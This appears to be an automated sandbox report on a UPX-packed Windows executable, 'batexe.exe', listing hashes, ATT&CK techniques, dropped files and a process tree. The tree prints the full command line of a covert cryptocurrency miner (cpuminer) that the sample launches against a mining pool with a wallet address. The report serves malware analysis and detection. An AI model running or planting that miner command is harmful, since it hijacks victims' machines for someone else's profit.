73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
296s
max time network
295s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
20/02/2024, 17:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1156	b2e.exe
932	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
932	cpuminer-sse2.exe
932	cpuminer-sse2.exe
932	cpuminer-sse2.exe
932	cpuminer-sse2.exe
932	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5076-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5076 wrote to memory of 1156	5076	batexe.exe	83
PID 5076 wrote to memory of 1156	5076	batexe.exe	83
PID 5076 wrote to memory of 1156	5076	batexe.exe	83
PID 1156 wrote to memory of 2324	1156	b2e.exe	84
PID 1156 wrote to memory of 2324	1156	b2e.exe	84
PID 1156 wrote to memory of 2324	1156	b2e.exe	84
PID 2324 wrote to memory of 932	2324	cmd.exe	87
PID 2324 wrote to memory of 932	2324	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5076
- C:\Users\Admin\AppData\Local\Temp\8DA9.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8DA9.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8DA9.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1156
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9376.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2324
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\8DA9.tmp\b2e.exe

Filesize
3.2MB

MD5
71aa42cebff4e993ec7b77dfd341ae44

SHA1
c1125aa537967e1cd923efe092508ed26865de6e

SHA256
822eee2c190b34270b70ccc88743128c306fa3c90e1d5e0c398ae2eda7aee98f

SHA512
4c4288ed065abc47074f339ba46280a754933d66831437937d9547a995bc7ccd9320f6c8c2d329d94357aab833199203319526c5a2cb9b01c3a32059028ee029

Download Submit
C:\Users\Admin\AppData\Local\Temp\8DA9.tmp\b2e.exe

Filesize
892KB

MD5
fb072a34bcf57be20b10ca75eec87faf

SHA1
884c5c611374aba6d98334e78725c9dd646f8fc7

SHA256
3f71eff4e71b3c423615a065aa4530c879c3d1a62a3279cc32fbe846c9f5871a

SHA512
5ef15af1c84eb8f797156296f4eb99f4cbb6bf500ceea3fa625c18043a2ee099abe171fa24c0d5d6c33aa117162e14d6413693b16307c2f81ce53fa1d7746154

Download Submit
C:\Users\Admin\AppData\Local\Temp\8DA9.tmp\b2e.exe

Filesize
574KB

MD5
ffa7af0a66b4210873d3d7ea7c31c9d1

SHA1
d1b7c4d166ca859d183f723891d241f79441aaf6

SHA256
1e6f72dbe9d93ca85f7b4aaa7c132dfd1dd39f74da54b55f88ad72abe8416aee

SHA512
3ade1989316b360aca0d5b41181ebfa16f14704f62c4ed3229462e29c1cffd7e0efa84c476f714e9aa9a895249a32e605d9baff93aa2a0495215bef2a92d98a7

Download Submit
C:\Users\Admin\AppData\Local\Temp\9376.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.7MB

MD5
7c09fbde105a3e357bc87b07b5a4c1b0

SHA1
d226acd89ff609679a85af08931297c9bc365865

SHA256
326c45df9afbebe4fff130ea3ecc31af310ce1e6f2b2109c7127cdc04db7f4e7

SHA512
a7a182112a73e4c8f17fbdf19dfa9402b467b835e07aa7c298a75f92112860e5867b9ef3b686a62cd6039e7a74031db98445d13ec314d9e2f0b9ad8009855e1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
c1d5eb75584f2d964a93d4cfa407e5c5

SHA1
f23aedf304a02389abb40ba77c7346f478f2067e

SHA256
ee017b9dca4bf0448976065e41566d6027912617b744cf87463e2b6e935c5ed3

SHA512
59f3beadec8476a44fd65d5a94799febd0c2302ed368f17aceece26f7caa30e81070bed5e9e7bf6ab0aa758b55537073a027515f42bf73c3852b62ee6516fb73

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
ba251db4b9b8eddded9f8f71b19d6d63

SHA1
5ab294ea16e678d3d3795f6cc1cdf72a00feb479

SHA256
9059d257ccd25071fb1b0008a46e99a924ad2c7e3bb0bbe276b809a07d04da2d

SHA512
d27c8e754ab42b8d22ccc24f016b226949617fcf5c66f072bfaa357d0694a2bfc5d6d172e6015a607a292cda76e99fec7ecb0131e78ac37dbd79add4790b24c6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
b43d39d823baf68c9d0d0159a05611a1

SHA1
7281e8e19646be5c55e21eb76e9c652bb3376fb7

SHA256
9595138125704d233e4c44f2199397d59ee6bf7cb5e65868de2365e9525eb05a

SHA512
d9f27aa9cc7024a62d61c67d8a0e253932972feadcc1273f6e1dee2b6ca6636e1d44219a8d4bb12be61788d359c1a82affa45501a719833cd0abc2f249a9f6d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
02e6292498d6500e45c64ca3728a88c4

SHA1
a4156bff916461e1954aecf0a13524490df7be4b

SHA256
228b3b09a89de9fc33554c4119b04534d08ead26fbdd1cbd9f97ec85df48c6d0

SHA512
bf5d90b5ac7189503fc1168ea3ff1fa2831d5de7c69a2b1deca2e7fb2697d77be99c4ada426c90ada7ea7750343b274f23fdacc4b6cb88852fa0893d75159cf3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/932-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/932-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/932-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/932-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/932-46-0x000000006FEB0000-0x000000006FF48000-memory.dmp

Filesize
608KB

Download
memory/932-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/932-47-0x0000000000D40000-0x00000000025F5000-memory.dmp

Filesize
24.7MB

Download
memory/932-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/932-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/932-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/932-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/932-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/932-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/932-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/932-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1156-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1156-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5076-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download